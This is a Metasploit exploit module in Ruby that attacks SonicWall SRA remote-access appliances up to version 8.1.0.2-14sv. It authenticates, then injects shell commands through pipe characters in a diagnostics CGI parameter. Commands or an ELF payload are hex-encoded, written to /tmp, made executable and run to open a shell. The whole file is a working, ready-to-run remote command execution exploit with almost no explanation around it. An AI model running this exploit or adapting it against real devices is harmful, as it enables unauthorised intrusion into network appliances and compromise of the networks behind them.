require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
includeExploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',
'Description'=> %q{
This module exploits a remote command execution vulnerability in
the Sonicwall SRA Appliance Version <=v8.1.0.2-14sv. The vulnerability exist in
a section of the machine's adminstrative infertface for performing configurations
related to on-connect scripts to be launched for users's connecting.
},
'Author' =>
[
'xort@Critical Start',
],
'Version'=> '$Revision: 1 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform'=> [ 'linux'],
'Privileged' => true,
'Arch'=> [ ARCH_X86 ],
'SessionTypes'=> [ 'shell' ],
'Privileged' => false,
'Payload'=>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Targets'=>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(443),
], self.class)
end
def do_login(username, password_clear)
vprint_status( "Logging into machine with credentials...\n" )
timeout = 1550;
style_key = Rex::Text.rand_text_hex(32)
res = send_request_cgi(
{
'method'=> 'POST',
'uri' => "/cgi-bin/userLogin",
'headers' => {
'Connection' => 'close',
'Content-Type' => 'application/x-www-form-urlencoded',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
},
'vars_post' => {
'username' => username,
'password' => password_clear,
'domain' => 'LocalDomain',
'loginButton' => 'Login',
'state' => 'login',
'login' => 'true',
'VerifyCert' => '0',
'portalname' => 'VirtualOffice',
'ajax' => 'true'
},
}, timeout)
swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
return swap
end
def run_command_spliced(username, swap_cookie, cmd)
vprint_status( "Running Command...\n" )
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/diagnostics",
'vars_get' => {
'tsrEmailCurrent' => 'true',
'currentTSREmailTo' => '|'+cmd+'|x',
},
'headers' => {
'Cookie' => 'swap='+swap_cookie+';',
'Content-Type' => 'text/plain; charset="iso-8859-1"',
'Connection' => 'close',
},
}, 30 )
end
def run_command(username, swap_cookie, cmd)
write_mode = ">"
dump_file = "/tmp/qq"
cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
vprint_status("cmd_encoded = #{cmd_encoded}")
for cmd_chunk in cmd_encoded.split(/(....................................................................................................)/)
cmd_new = "printf%20\"#{cmd_chunk}\"#{write_mode}#{dump_file}"
if write_mode == ">"
write_mode = ">>"
end
run_command_spliced(username, swap_cookie, cmd_new)
end
run_command_spliced(username, swap_cookie, "chmod%20777%20/tmp/qq;sh%20/tmp/qq")
end
def exploit
timeout = 1550;
password_clear = datastore['PASSWORD']
user = datastore['USERNAME']
swap_cookie = do_login(user, password_clear)
vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
vprint_status("encoded_cmd = #{encoded_cmd}")
run_command(user, swap_cookie, ("sudo /bin/rm -f /tmp/n;printf \"#{encoded_cmd}\">/tmp/n;chmod +rx /tmp/n;/tmp/n" ))
else
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
vprint_status("encoded_elf = #{encoded_elf}")
run_command(user, swap_cookie, ("echo -e \"#{encoded_elf}\"\>/tmp/m\;chmod +rx /tmp/m\;/tmp/m"))
handler
end
end
end